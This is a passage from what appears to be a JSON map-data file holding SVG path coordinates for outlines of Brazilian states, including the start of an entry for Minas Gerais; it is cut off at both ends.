84635.33 135986.67 84614.00 135976.00C84614.00 135965.33 84614.00 135954.67 84614.00 135944.00C84603.34 135954.67 84592.66 135965.33 84582.00 135976.00C84582.00 135965.33 84582.00 135954.67 84582.00 135944.00C84571.33 135944.00 84560.67 135944.00 84550.00 135944.00C84539.33 135933.00 84528.67 135922.00 84518.00 135911.00C84507.00 135922.00 84496.00 135933.00 84485.00 135944.00C84463.67 135944.00 84442.33 135944.00 84421.00 135944.00C84421.00 135933.00 84421.00 135922.00 84421.00 135911.00C84410.33 135911.00 84399.67 135911.00 84389.00 135911.00C84399.67 135889.67 84410.33 135868.33 84421.00 135847.00C84399.67 135847.00 84378.33 135847.00 84357.00 135847.00C84357.00 135836.33 84357.00 135825.67 84357.00 135815.00C84346.34 135825.67 84335.66 135836.33 84325.00 135847.00C84325.00 135836.33 84325.00 135825.67 84325.00 135815.00C84292.67 135804.33 84260.33 135793.67 84228.00 135783.00C84206.67 135793.67 84185.33 135804.33 84164.00 135815.00C84174.66 135804.33 84185.34 135793.67 84196.00 135783.00C84174.67 135783.00 84153.33 135783.00 84132.00 135783.00C84110.66 135761.67 84089.34 135740.33 84068.00 135719.00C84057.00 135729.67 84046.00 135740.33 84035.00 135751.00C84035.00 135761.67 84035.00 135772.33 84035.00 135783.00C84035.00 135761.67 84035.00 135740.33 84035.00 135719.00C84024.34 135729.67 84013.66 135740.33 84003.00 135751.00C83992.34 135740.33 83981.66 135729.67 83971.00 135719.00C83949.67 135729.67 83928.33 135740.33 83907.00 135751.00C83896.33 135751.00 83885.67 135751.00 83875.00 135751.00C83875.00 135740.33 83875.00 135729.67 83875.00 135719.00C83853.33 135719.00 83831.67 135719.00 83810.00 135719.00C83788.67 135697.33 83767.33 135675.67 83746.00 135654.00C83735.33 135654.00 83724.67 135654.00 83714.00 135654.00C83703.21 135664.69 83692.61 135675.59 83681.69 135686.16C83660.13 135697.10 83638.56 135708.05 83617.00 135719.00C83574.33 135708.00 83531.67 135697.00 83489.00 135686.00C83478.33 135686.00 83467.67 135686.00 83457.00 135686.00C83446.00 135664.67 83435.00 135643.33 83424.00 135622.00C83424.00 135579.33 83424.00 135536.67 83424.00 135494.00C83413.34 135504.67 83402.66 135515.33 83392.00 135526.00C83392.00 135515.33 83392.00 135504.67 83392.00 135494.00C83381.33 135494.00 83370.67 135494.00 83360.00 135494.00C83360.00 135483.00 83360.00 135472.00 83360.00 135461.00C83349.33 135461.00 83338.67 135461.00 83328.00 135461.00C83328.00 135450.33 83328.00 135439.67 83328.00 135429.00C83317.33 135429.00 83306.67 135429.00 83296.00 135429.00C83306.66 135418.33 83317.34 135407.67 83328.00 135397.00C83317.33 135375.67 83306.67 135354.33 83296.00 135333.00C83296.00 135311.33 83296.00 135289.67 83296.00 135268.00C83253.00 135289.67 83210.00 135311.33 83167.00 135333.00C83124.33 135333.00 83081.67 135333.00 83039.00 135333.00C83017.42 135312.30 82996.12 135291.30 82975.30 135269.83C82964.20 135258.55 82953.10 135247.28 82942.00 135236.00C82931.34 135246.67 82920.66 135257.33 82910.00 135268.00C82888.67 135268.00 82867.33 135268.00 82846.00 135268.00C82846.00 135279.00 82846.00 135290.00 82846.00 135301.00C82835.00 135311.67 82824.00 135322.33 82813.00 135333.00C82813.00 135343.67 82813.00 135354.33 82813.00 135365.00C82791.66 135343.67 82770.34 135322.33 82749.00 135301.00C82738.34 135311.67 82727.66 135322.33 82717.00 135333.00C82706.33 135333.00 82695.67 135333.00 82685.00 135333.00C82685.00 135354.33 82685.00 135375.67 82685.00 135397.00C82695.67 135397.00 82706.33 135397.00 82717.00 135397.00C82717.00 135418.33 82717.00 135439.67 82717.00 135461.00C82695.67 135472.00 82674.33 135483.00 82653.00 135494.00C82631.33 135494.00 82609.67 135494.00 82588.00 135494.00C82556.00 135472.33 82524.00 135450.67 82492.00 135429.00C82481.34 135439.67 82470.66 135450.33 82460.00 135461.00C82449.33 135493.33 82438.67 135525.67 82428.00 135558.00C82417.33 135558.00 82406.67 135558.00 82396.00 135558.00C82385.00 135536.67 82374.00 135515.33 82363.00 135494.00C82352.33 135494.00 82341.67 135494.00 82331.00 135494.00C82320.33 135472.33 82309.67 135450.67 82299.00 135429.00C82288.34 135418.33 82277.66 135407.67 82267.00 135397.00C82213.33 135418.33 82159.67 135439.67 82106.00 135461.00C82116.67 135472.00 82127.33 135483.00 82138.00 135494.00C82116.67 135483.00 82095.33 135472.00 82074.00 135461.00C82052.67 135461.00 82031.33 135461.00 82010.00 135461.00C81999.00 135450.33 81988.00 135439.67 81977.00 135429.00C81913.00 135429.00 81849.00 135429.00 81785.00 135429.00C81795.67 135407.67 81806.33 135386.33 81817.00 135365.00C81806.34 135354.33 81795.66 135343.67 81785.00 135333.00C81774.00 135300.67 81763.00 135268.33 81752.00 135236.00C81730.67 135236.00 81709.33 135236.00 81688.00 135236.00C81677.34 135225.33 81666.66 135214.67 81656.00 135204.00C81645.33 135225.33 81634.67 135246.67 81624.00 135268.00C81602.67 135268.00 81581.33 135268.00 81560.00 135268.00C81549.00 135257.33 81538.00 135246.67 81527.00 135236.00C81516.34 135246.67 81505.66 135257.33 81495.00 135268.00C81505.67 135214.67 81516.33 135161.33 81527.00 135108.00C81516.33 135097.00 81505.67 135086.00 81495.00 135075.00C81473.67 135075.00 81452.33 135075.00 81431.00 135075.00C81431.00 135053.67 81431.00 135032.33 81431.00 135011.00C81441.67 134989.67 81452.33 134968.33 81463.00 134947.00C81516.67 134914.67 81570.33 134882.33 81624.00 134850.00C81624.00 134807.33 81624.00 134764.67 81624.00 134722.00C81645.34 134700.67 81666.66 134679.33 81688.00 134658.00C81709.33 134582.67 81730.67 134507.33 81752.00 134432.00C81752.00 134410.67 81752.00 134389.33 81752.00 134368.00C81741.33 134368.00 81730.67 134368.00 81720.00 134368.00C81709.34 134357.33 81698.66 134346.67 81688.00 134336.00C81720.34 134314.67 81752.66 134293.33 81785.00 134272.00C81806.33 134272.00 81827.67 134272.00 81849.00 134272.00C81859.67 134261.00 81870.33 134250.00 81881.00 134239.00C81870.21 134228.31 81859.62 134217.41 81848.69 134206.85C81763.13 134164.24 81677.56 134121.62 81592.00 134079.00C81592.00 134068.33 81592.00 134057.67 81592.00 134047.00C81641.39 134030.04 81690.71 134012.84 81740.38 133996.72C81755.26 133991.81 81770.13 133986.91 81785.00 133982.00C81817.00 133917.67 81849.00 133853.33 81881.00 133789.00C81881.00 133757.00 81881.00 133725.00 81881.00 133693.00C81859.67 133693.00 81838.33 133693.00 81817.00 133693.00C81785.44 133661.75 81753.34 133631.02 81722.73 133598.82C81717.43 133594.32 81721.07 133586.21 81720.00 133580.00C81720.67 133573.71 81718.46 133566.73 81721.50 133561.00C81731.67 133540.67 81741.83 133520.33 81752.00 133500.00C81816.33 133457.00 81880.67 133414.00 81945.00 133371.00C81966.67 133349.67 81988.33 133328.33 82010.00 133307.00C82010.00 133296.33 82010.00 133285.67 82010.00 133275.00C81945.66 133242.67 81881.34 133210.33 81817.00 133178.00C81785.11 133113.78 81752.44 133049.95 81720.00 132986.00C81741.67 132953.67 81763.33 132921.33 81785.00 132889.00C81817.00 132878.33 81849.00 132867.67 81881.00 132857.00C81881.00 132846.33 81881.00 132835.67 81881.00 132825.00C81859.67 132803.33 81838.33 132781.67 81817.00 132760.00C81763.33 132738.67 81709.67 132717.33 81656.00 132696.00C81645.33 132664.00 81634.67 132632.00 81624.00 132600.00C81624.00 132567.67 81624.00 132535.33 81624.00 132503.00C81634.67 132471.00 81645.33 132439.00 81656.00 132407.00C81677.33 132396.33 81698.67 132385.67 81720.00 132375.00C81741.71 132342.56 81763.51 132310.17 81785.15 132277.69C81795.77 132256.46 81806.38 132235.23 81817.00 132214.00C81817.00 132192.67 81817.00 132171.33 81817.00 132150.00C81838.53 132095.60 81860.39 132041.32 81881.71 131986.84C81892.14 131955.23 81902.57 131923.62 81913.00 131892.00C81977.33 131817.00 82041.67 131742.00 82106.00 131667.00C82116.74 131645.28 82127.87 131623.74 82138.36 131601.91C82148.90 131569.94 82159.45 131537.97 82170.00 131506.00C82159.34 131495.33 82148.66 131484.67 82138.00 131474.00C82073.67 131463.33 82009.33 131452.67 81945.00 131442.00C81902.34 131399.33 81859.66 131356.67 81817.00 131314.00C81827.78 131302.96 81838.42 131291.77 81849.29 131280.81C81945.52 131216.54 82041.76 131152.27 82138.00 131088.00C82148.67 131066.67 82159.33 131045.33 82170.00 131024.00C82170.00 130970.33 82170.00 130916.67 82170.00 130863.00C82148.67 130777.33 82127.33 130691.67 82106.00 130606.00C82106.00 130595.33 82106.00 130584.67 82106.00 130574.00C82138.33 130520.33 82170.67 130466.67 82203.00 130413.00C82170.67 130359.33 82138.33 130305.67 82106.00 130252.00C82095.33 130209.33 82084.67 130166.67 82074.00 130124.00C82106.00 130102.67 82138.00 130081.33 82170.00 130060.00C82202.33 130006.33 82234.67 129952.67 82267.00 129899.00C82288.33 129877.33 82309.67 129855.67 82331.00 129834.00C82320.33 129812.67 82309.67 129791.33 82299.00 129770.00C82299.00 129716.33 82299.00 129662.67 82299.00 129609.00C82277.67 129609.00 82256.33 129609.00 82235.00 129609.00C82213.34 129630.67 82191.66 129652.33 82170.00 129674.00C82148.67 129674.00 82127.33 129674.00 82106.00 129674.00C82095.31 129663.20 82084.41 129652.61 82073.85 129641.69C82052.57 129598.79 82031.28 129555.90 82010.00 129513.00C81998.87 129502.31 81987.94 129491.41 81976.69 129480.85C81955.46 129470.23 81934.23 129459.62 81913.00 129449.00C81891.67 129459.67 81870.33 129470.33 81849.00 129481.00C81827.67 129470.33 81806.33 129459.67 81785.00 129449.00C81795.67 129427.33 81806.33 129405.67 81817.00 129384.00C81913.42 129319.79 82009.68 129255.36 82106.00 129191.00C82116.67 129159.00 82127.33 129127.00 82138.00 129095.00C82127.33 129073.67 82116.67 129052.33 82106.00 129031.00C82052.33 128988.00 81998.67 128945.00 81945.00 128902.00C81923.67 128902.00 81902.33 128902.00 81881.00 128902.00C81849.00 128923.33 81817.00 128944.67 81785.00 128966.00C81763.33 128966.00 81741.67 128966.00 81720.00 128966.00C81698.67 128955.33 81677.33 128944.67 81656.00 128934.00C81656.09 128923.23 81655.83 128912.45 81656.13 128901.68C81677.42 128848.12 81698.71 128794.56 81720.00 128741.00C81762.77 128720.07 81805.39 128698.81 81848.00 128677.57C81852.57 128676.69 81857.44 128678.84 81862.13 128679.18C81922.09 128689.11 81982.04 128699.06 82042.00 128709.00C82063.33 128709.00 82084.67 128709.00 82106.00 128709.00C82106.00 128698.33 82106.00 128687.67 82106.00 128677.00C82084.66 128634.53 82063.57 128591.92 82042.59 128549.27C82037.43 128541.65 82031.12 128534.84 82025.50 128527.54C81988.00 128481.02 81950.50 128434.51 81913.00 128388.00C81902.33 128366.33 81891.67 128344.67 81881.00 128323.00C81870.34 128312.33 81859.66 128301.67 81849.00 128291.00C81827.67 128291.00 81806.33 128291.00 81785.00 128291.00C81752.67 128355.33 81720.33 128419.67 81688.00 128484.00C81634.33 128484.00 81580.67 128484.00 81527.00 128484.00C81527.00 128452.00 81527.00 128420.00 81527.00 128388.00C81548.94 128323.64 81570.86 128259.28 81592.00 128194.66C81592.00 128184.11 81592.00 128173.55 81592.00 128163.00C81559.67 128163.00 81527.33 128163.00 81495.00 128163.00C81463.00 128120.00 81431.00 128077.00 81399.00 128034.00C81399.00 128001.67 81399.00 127969.33 81399.00 127937.00C81420.33 127905.00 81441.67 127873.00 81463.00 127841.00C81431.00 127744.67 81399.00 127648.33 81367.00 127552.00C81377.67 127509.00 81388.33 127466.00 81399.00 127423.00C81431.00 127369.33 81463.00 127315.67 81495.00 127262.00C81495.00 127240.67 81495.00 127219.33 81495.00 127198.00C81452.33 127133.67 81409.67 127069.33 81367.00 127005.00C81302.67 126994.33 81238.33 126983.67 81174.00 126973.00C81131.00 126940.67 81088.00 126908.33 81045.00 126876.00C81023.67 126801.00 81002.33 126726.00 80981.00 126651.00C80991.67 126618.88 81002.46 126586.80 81013.07 126554.66C81023.71 126501.11 81034.35 126447.55 81045.00 126394.00C81045.00 126372.67 81045.00 126351.33 81045.00 126330.00C81023.66 126308.67 81002.34 126287.33 80981.00 126266.00C80948.67 126266.00 80916.33 126266.00 80884.00 126266.00C80852.00 126298.00 80820.00 126330.00 80788.00 126362.00C80788.00 126372.67 80788.00 126383.33 80788.00 126394.00C80755.66 126372.67 80723.34 126351.33 80691.00 126330.00C80680.33 126287.00 80669.67 126244.00 80659.00 126201.00C80669.70 126190.21 80680.59 126179.61 80691.16 126168.69C80702.11 126147.46 80713.05 126126.23 80724.00 126105.00C80766.67 126094.33 80809.33 126083.67 80852.00 126073.00C80862.67 126051.33 80873.33 126029.67 80884.00 126008.00C80862.66 125986.67 80841.34 125965.33 80820.00 125944.00C80777.00 125944.00 80734.00 125944.00 80691.00 125944.00C80680.34 125933.33 80669.66 125922.67 80659.00 125912.00C80659.00 125901.33 80659.00 125890.67 80659.00 125880.00C80669.70 125868.88 80680.58 125857.93 80691.16 125846.69C80702.11 125825.46 80713.05 125804.23 80724.00 125783.00C80756.00 125783.00 80788.00 125783.00 80820.00 125783.00C80852.00 125772.33 80884.00 125761.67 80916.00 125751.00C80927.00 125719.00 80938.00 125687.00 80949.00 125655.00C80981.00 125633.33 81013.00 125611.67 81045.00 125590.00C81109.33 125579.33 81173.67 125568.67 81238.00 125558.00C81238.09 125547.23 81237.83 125536.45 81238.13 125525.68C81259.42 125472.12 81280.71 125418.56 81302.00 125365.00C81323.66 125354.33 81345.34 125343.67 81367.00 125333.00C81420.33 125333.00 81473.67 125333.00 81527.00 125333.00C81548.66 125322.33 81570.34 125311.67 81592.00 125301.00C81613.33 125258.00 81634.67 125215.00 81656.00 125172.00C81677.33 125161.33 81698.67 125150.67 81720.00 125140.00C81730.67 125140.00 81741.33 125140.00 81752.00 125140.00C81773.66 125150.67 81795.34 125161.33 81817.00 125172.00C81849.00 125204.33 81881.00 125236.67 81913.00 125269.00C81934.33 125226.00 81955.67 125183.00 81977.00 125140.00C82020.00 125086.33 82063.00 125032.67 82106.00 124979.00C82116.67 124957.67 82127.33 124936.33 82138.00 124915.00C81698.67 124572.00 81259.33 124229.00 80820.00 123886.00C80980.67 123543.00 81141.33 123200.00 81302.00 122857.00z"},"br-13":{"name":"Minas Gerais","path":"M114452.00 124015.00C114441.33 123993.33 114430.67 123971.67 114420.00 123950.00C114441.33 123918.00 114462.67 123886.00 114484.00 123854.00C114452.00 123822.00 114420.00 123790.00 114388.00 123758.00C114388.00 123747.00 114388.00 123736.00 114388.00 123725.00C114398.67 123714.33 114409.33 123703.67 114420.00 123693.00C114430.67 123639.33 114441.33 123585.67 114452.00 123532.00C114473.67 123489.33 114495.33 123446.67 114517.00 123404.00C114527.67 123393.33 114538.33 123382.67 114549.00 123372.00C114581.49 123285.23 114613.27 123198.19 114646.21 123111.60C114656.47 123091.07 114666.73 123070.53 114677.00 123050.00C114698.67 123039.33 114720.33 123028.67 114742.00 123018.00C114752.82 123018.10 114763.64 123017.79 114774.46 123018.15C114806.31 123028.77 114838.15 123039.38 114870.00 123050.00C114902.33 123050.00 114934.67 123050.00 114967.00 123050.00C114967.00 122996.33 114967.00 122942.67 114967.00 122889.00C114955.61 122866.88 114945.28 122844.19 114933.19 122822.46C114880.12 122748.31 114827.06 122674.15 114774.00 122600.00C114774.00 122578.67 114774.00 122557.33 114774.00 122536.00C114795.33 122514.33 114816.67 122492.67 114838.00 122471.00C114859.67 122460.33 114881.33 122449.67 114903.00 122439.00C114958.33 122461.21 115013.29 122484.37 115068.87 122505.95C115163.58 122537.29 115258.29 122568.65 115353.00 122600.00C115363.67 122600.00 115374.33 122600.00 115385.00 122600.00C115406.33 122578.67 115427.67 122557.33 115449.00 122536.00C115449.00 122525.33 115449.00 122514.67 115449.00 122504.00C115427.67 122471.67 115406.33 122439.33 115385.00 122407.00C115330.64 122363.15 115275.69 122320.01 115221.71 122275.71C115211.81 122265.81 115201.90 122255.90 115192.00 122246.00C115202.67 122224.67 115213.33 122203.33 115224.00 122182.00C115224.00 122171.33 115224.00 122160.67 115224.00 122150.00C115245.33 122128.67 115266.67 122107.33 115288.00 122086.00C115298.67 122043.00 115309.33 122000.00 115320.00 121957.00C115341.67 121924.67 115363.33 121892.33 115385.00 121860.00C115385.00 121828.00 115385.00 121796.00 115385.00 121764.00C115395.67 121742.67 115406.33 121721.33 115417.00 121700.00C115417.00 121689.33 115417.00 121678.67 115417.00 121668.00C115438.47 121635.57 115459.73 121603.00 115481.34 121570.66C115524.23 121527.77 115567.11 121484.89 115610.00 121442.00C115642.00 121442.00 115674.00 121442.00 115706.00 121442.00C115738.38 121399.17 115770.95 121356.48 115803.22 121313.57C115813.81 121292.38 115824.41 121271.19 115835.00 121250.00C115835.00 121217.67 115835.00 121185.33 115835.00 121153.00C115845.67 121131.67 115856.33 121110.33 115867.00 121089.00C115952.67 121067.33 116038.33 121045.67 116124.00 121024.00C116134.67 121002.67 116145.33 120981.33 116156.00 120960.00C116145.33 120928.00 116134.67 120896.00 116124.00 120864.00C116134.67 120853.33 116145.33 120842.67 116156.00 120832.00C116295.33 120832.00 116434.67 120832.00 116574.00 120832.00C116595.67 120810.33 116617.33 120788.67 116639.00 120767.00C116681.67 120745.67 116724.33 120724.33 116767.00 120703.00C116767.00 120692.33 116767.00 120681.67 116767.00 120671.00C116778.00 120671.00 116789.00 120671.00 116800.00 120671.00C116821.44 120627.88 116842.74 120584.68 116864.27 120541.60C116906.83 120477.39 116949.42 120413.20 116992.00 120349.00C116992.00 120306.33 116992.00 120263.67 116992.00 120221.00C116981.33 120210.33 116970.67 120199.67 116960.00 120189.00C116970.67 120156.67 116981.33 120124.33 116992.00 120092.00C116970.67 120038.33 116949.33 119984.67 116928.00 119931.00C116928.00 119909.67 116928.00 119888.33 116928.00 119867.00C116992.22 119834.78 117056.64 119802.95 117121.00 119771.00C117131.67 119771.00 117142.33 119771.00 117153.00 119771.00C117185.33 119728.00 117217.67 119685.00 117250.00 119642.00C117282.00 119556.33 117314.00 119470.67 117346.00 119385.00C117346.00 119374.33 117346.00 119363.67 117346.00 119353.00C117356.67 119342.00 117367.33 119331.00 117378.00 119320.00C117410.33 119309.33 117442.67 119298.67 117475.00 119288.00C117496.33 119288.00 117517.67 119288.00 117539.00 119288.00C117549.67 119277.33 117560.33 119266.67 117571.00 119256.00C117603.33 119170.33 117635.67 119084.67 117668.00 118999.00C117721.33 118924.00 117774.67 118849.00 117828.00 118774.00C117849.67 118752.33 117871.33 118730.67 117893.00 118709.00C117914.43 118698.18 117936.03 118687.71 117957.34 118676.66C117968.86 118665.88 117979.01 118653.46 117991.46 118643.78C118013.32 118633.20 118034.62 118621.39 118056.90 118611.71C118087.93 118601.47 118118.97 118591.24 118150.00 118581.00C118203.83 118591.64 118257.62 118602.52 118311.48 118613.00C118343.32 118613.00 118375.16 118613.00 118407.00 118613.00C118460.67 118581.00 118514.33 118549.00 118568.00 118517.00C118696.67 118538.33 118825.33 118559.67 118954.00 118581.00C119006.38 118528.07 119058.57 118474.91 119111.98 118423.02C119118.67 118415.76 119119.97 118405.61 119124.16 118396.97C119142.44 118350.98 119160.72 118304.99 119179.00 118259.00C119189.67 118248.33 119200.33 118237.67 119211.00 118227.00C119286.00 118227.00 119361.00 118227.00 119436.00 118227.00C119446.67 118248.33 119457.33 118269.67 119468.00 118291.00C119532.50 118301.97 119596.96 118313.16 119661.48 118324.00C119704.32 118324.00 119747.16 118324.00 119790.00 118324.00C119822.00 118302.33 119854.00 118280.67 119886.00 118259.00C119896.67 118259.00 119907.33 118259.00 119918.00 118259.00C119940.17 118280.16 119961.88 118301.79 119983.00 118324.00C120004.33 118324.00 120025.67 118324.00 120047.00 118324.00C120068.33 118345.33 120089.67 118366.67 120111.00 118388.00C120143.33 118388.00 120175.67 118388.00 120208.00 118388.00C120240.00 118398.67 120272.00 118409.33 120304.00 118420.00C120325.67 118420.00 120347.33 118420.00 120369.00 118420.00C120390.54 118377.10 120411.87 118334.10 120433.00 118291.00C120454.33 118280.33 120475.67 118269.67 120497.00 118259.00C120518.33 118269.67 120539.67 118280.33 120561.00 118291.00C120572.00 118291.00 120583.00 118291.00 120594.00 118291.00C120616.53 118279.37 120639.69 118268.91 120661.79 118256.48C120693.38 118235.67 120724.52 118214.11 120756.43 118193.80C120777.29 118183.54 120798.15 118173.27 120819.00 118163.00C120851.00 118163.00 120883.00 118163.00 120915.00 118163.00C120947.33 118184.33 120979.67 118205.67 121012.00 118227.00C121022.67 118227.00 121033.33 118227.00 121044.00 118227.00C121054.67 118205.67 121065.33 118184.33 121076.00 118163.00C121043.67 118130.67 121011.33 118098.33 120979.00 118066.00C120990.00 118055.33 121001.00 118044.67 121012.00 118034.00C121012.00 118023.33 121012.00 118012.67 121012.00 118002.00C121044.87 117991.37 121077.39 117979.54 121110.48 117969.70C121195.32 117959.13 121280.16 117948.57 121365.00 117938.00C121386.67 117948.67 121408.33 117959.33 121430.00 117970.00C121440.67 117959.33 121451.33 117948.67 121462.00 117938.00C121472.67 117938.00 121483.33 117938.00 121494.00 117938.00C121494.00 117927.33 121494.00 117916.67 121494.00 117906.00C121504.67 117895.33 121515.33 117884.67 121526.00 117874.00C121515.33 117831.00 121504.67 117788.00 121494.00 117745.00C121504.67 117734.33 121515.33 117723.67 121526.00 117713.00C121536.81 117712.86 121547.63 117713.29 121558.43 117712.79C121579.95 117702.19 121601.48 117691.60 121623.00 117681.00C121655.00 117691.67 121687.00 117702.33 121719.00 117713.00C121729.67 117713.00 121740.33 117713.00 121751.00 117713.00C121761.67 117723.67 121772.33 117734.33 121783.00 117745.00C121783.00 117809.33 121783.00 117873.67 121783.00 117938.00C121793.67 117970.00 121804.33 118002.00 121815.00 118034.00C121890.33 118109.00 121965.67 118184.00 122041.00 118259.00C122062.33 118312.67 122083.67 118366.33 122105.00 118420.00C122115.81 118420.15 122126.63 118419.71 122137.43 118420.22C122158.62 118430.81 122179.81 118441.41 122201.00 118452.00C122233.33 118441.33 122265.67 118430.67 122298.00 118420.00C122308.67 118409.33 122319.33 118398.67 122330.00 118388.00C122340.67 118355.67 122351.33 118323.33 122362.00 118291.00C122394.33 118259.00 122426.67 118227.00 122459.00 118195.00C122480.33 118141.33 122501.67 118087.67 122523.00 118034.00C122533.82 118034.10 122544.64 118033.79 122555.46 118034.15C122587.31 118044.77 122619.15 118055.38 122651.00 118066.00C122662.00 118055.33 122673.00 118044.67 122684.00 118034.00C122694.67 118002.00 122705.33 117970.00 122716.00 117938.00C122737.33 117916.67 122758.67 117895.33 122780.00 117874.00C122790.82 117873.89 122801.64 117874.21 122812.46 117873.84C122844.64 117862.90 122876.82 117851.95 122909.00 117841.00C122920.17 117808.23 122930.45 117775.13 122942.21 117742.57C122963.14 117700.38 122984.07 117658.19 123005.00 117616.00C123026.33 117594.67 123047.67 117573.33 123069.00 117552.00C123090.67 117541.33 123112.33 117530.67 123134.00 117520.00C123144.67 117509.33 123155.33 117498.67 123166.00 117488.00C123166.00 117466.33 123166.00 117444.67 123166.00 117423.00C123133.67 117401.67 123101.33 117380.33 123069.00 117359.00C123069.00 117348.33 123069.00 117337.67 123069.00 117327.00C123080.00 117316.33 123091.00 117305.67 123102.00 117295.00C123134.00 117305.67 123166.00 117316.33 123198.00 117327.00C123241.00 117316.33 123284.00 117305.67 123327.00 117295.00C123343.01 117279.36 123357.83 117262.27 123376.54 117249.71C123413.37 117221.81 123450.18 117193.90 123487.00 117166.00C123519.33 117166.00 123551.67 117166.00 123584.00 117166.00C123584.00 117176.67 123584.00 117187.33 123584.00 117198.00C123573.33 117208.67 123562.67 117219.33 123552.00 117230.00C123552.00 117241.00 123552.00 117252.00 123552.00 117263.00C123573.33 117263.00 123594.67 117263.00 123616.00 117263.00C123626.67 117273.67 123637.33 117284.33 123648.00 117295.00C123669.33 117295.00 123690.67 117295.00 123712.00 117295.00C123712.00 117305.67 123712.00 117316.33 123712.00 117327.00C123755.00 117305.67 123798.00 117284.33 123841.00 117263.00C123851.67 117241.33 123862.33 117219.67 123873.00 117198.00C123873.00 117176.67 123873.00 117155.33 123873.00 117134.00C123905.33 117112.67 123937.67 117091.33 123970.00 117070.00C124002.00 117080.67 124034.00 117091.33 124066.00 117102.00C124076.67 117102.00 124087.33 117102.00 124098.00 117102.00C124109.00 117080.67 124120.00 117059.33 124131.00 117038.00C124141.67 117038.00 124152.33 117038.00 124163.00 117038.00C124163.00 117005.67 124163.00 116973.33 124163.00 116941.00C124173.67 116941.00 124184.33 116941.00 124195.00 116941.00C124206.61 116930.10 124216.90 116917.63 124229.41 116907.78C124250.04 116897.38 124270.83 116887.30 124291.34 116876.66C124323.56 116844.44 124355.78 116812.22 124388.00 116780.00C124420.00 116780.00 124452.00 116780.00 124484.00 116780.00C124494.67 116801.67 124505.33 116823.33 124516.00 116845.00C124559.00 116845.00 124602.00 116845.00 124645.00 116845.00C124655.67 116866.33 124666.33 116887.67 124677.00 116909.00C124730.67 116919.67 124784.33 116930.33 124838.00 116941.00C124848.67 116951.67 124859.33 116962.33 124870.00 116973.00C124880.67 117026.67 124891.33 117080.33 124902.00 117134.00C124923.33 117134.00 124944.67 117134.00 124966.00 117134.00C124987.67 117102.00 125009.33 117070.00 125031.00 117038.00C125052.33 117027.00 125073.67 117016.00 125095.00 117005.00C125116.33 117016.00 125137.67 117027.00 125159.00 117038.00C125191.33 117016.33 125223.67 116994.67 125256.00 116973.00C125288.00 116983.67 125320.00 116994.33 125352.00 117005.00C125384.33 116994.33 125416.67 116983.67 125449.00 116973.00C125470.33 116983.67 125491.67 116994.33 125513.00 117005.00C125534.33 116994.33 125555.67 116983.67 125577.00 116973.00C125641.33 116973.00 125705.67 116973.00 125770.00 116973.00C125770.00 116951.67 125770.00 116930.33 125770.00 116909.00C125780.67 116898.33 125791.33 116887.67 125802.00 116877.00C125867.18 116887.54 125932.22 116899.13 125997.48 116909.00C126007.66 116909.00 126017.83 116909.00 126028.00 116909.00C126038.67 116898.33 126049.33 116887.67 126060.00 116877.00C126092.00 116877.00 126124.00 116877.00 126156.00 116877.00C126166.67 116887.67 126177.33 116898.33 126188.00 116909.00C126188.00 116930.33 126188.00 116951.67 126188.00 116973.00C126198.67 116983.67 126209.33 116994.33 126220.00 117005.00C126252.33 117005.00 126284.67 117005.00 126317.00 117005.00C126338.33 117026.67 126359.67 117048.33 126381.00 117070.00C126413.33 117048.33 126445.67 117026.67 126478.00 117005.00C126488.67 117005.00 126499.33 117005.00 126510.00 117005.00C126520.67 117016.00 126531.33 117027.00 126542.00 117038.00C126531.33 117059.33 126520.67 117080.67 126510.00 117102.00C126520.67 117112.67 126531.33 117123.33 126542.00 117134.00C126595.67 117102.00 126649.33 117070.00 126703.00 117038.00C126724.33 117048.67 126745.67 117059.33 126767.00 117070.00C126788.33 117059.33 126809.67 117048.67 126831.00 117038.00C126852.67 117038.00 126874.33 117038.00 126896.00 117038.00C126896.00 117059.33 126896.00 117080.67 126896.00 117102.00C126960.33 117102.00 127024.67 117102.00 127089.00 117102.00C127110.33 117091.33 127131.67 117080.67 127153.00 117070.00C127163.67 117080.67 127174.33 117091.33 127185.00 117102.00C127206.33 117102.00 127227.67 117102.00 127249.00 117102.00C127259.67 117123.33 127270.33 117144.67 127281.00 117166.00C127313.33 117166.00 127345.67 117166.00 127378.00 117166.00C127378.00 117155.33 127378.00 117144.67 127378.00 117134.00C127356.67 117123.33 127335.33 117112.67 127314.00 117102.00C127314.00 117091.33 127314.00 117080.67 127314.00 117070.00C127356.77 117037.54 127399.63 117005.20 127442.34 116972.66C127463.90 116951.44 127485.45 116930.22 127507.00 116909.00C127528.33 116909.00 127549.67 116909.00 127571.00 116909.00C127581.67 116930.33 127592.33 116951.67 127603.00 116973.00C127646.00 116973.00 127689.00 116973.00 127732.00 116973.00C127732.00 116994.67 127732.00 117016.33 127732.00 117038.00C127742.67 117048.67 127753.33 117059.33 127764.00 117070.00C127806.67 117070.00 127849.33 117070.00 127892.00 117070.00C127924.33 117080.67 127956.67 117091.33 127989.00 117102.00C128010.33 117102.00 128031.67 117102.00 128053.00 117102.00C128053.00 117123.33 128053.00 117144.67 128053.00 117166.00C128074.33 117187.33 128095.67 117208.67 128117.00 117230.00C128117.00 117251.67 128117.00 117273.33 128117.00 117295.00C128150.11 117306.17 128183.56 117316.44 128216.46 117328.22C128238.32 117338.80 128259.62 117350.61 128281.90 117360.29C128312.93 117370.53 128343.97 117380.76 128375.00 117391.00C128407.00 117391.00 128439.00 117391.00 128471.00 117391.00C128481.91 117379.40 128494.35 117369.08 128504.23 117356.60C128514.83 117336.07 128525.41 117315.53 128536.00 117295.00C128546.67 117295.00 128557.33 117295.00 128568.00 117295.00C128578.90 117306.61 128591.37 117316.89 128601.21 117329.40C128611.47 117349.93 128621.73 117370.47 128632.00 117391.00C128674.90 117412.54 128717.90 117433.87 128761.00 117455.00C128761.00 117466.00 128761.00 117477.00 128761.00 117488.00C128771.67 117498.67 128782.33 117509.33 128793.00 117520.00C128803.67 117520.00 128814.33 117520.00 128825.00 117520.00C128857.00 117498.33 128889.00 117476.67 128921.00 117455.00C128921.00 117508.67 128921.00 117562.33 128921.00 117616.00C128942.67 117616.00 128964.33 117616.00 128986.00 117616.00C128986.00 117648.33 128986.00 117680.67 128986.00 117713.00C128996.67 117723.67 129007.33 117734.33 129018.00 117745.00C129029.61 117734.10 129039.89 117721.63 129052.40 117711.79C129072.93 117701.53 129093.47 117691.27 129114.00 117681.00C129124.67 117681.00 129135.33 117681.00 129146.00 117681.00C129157.00 117648.67 129168.00 117616.33 129179.00 117584.00C129189.67 117573.33 129200.33 117562.67 129211.00 117552.00C129253.67 117573.33 129296.33 117594.67 129339.00 117616.00C129350.00 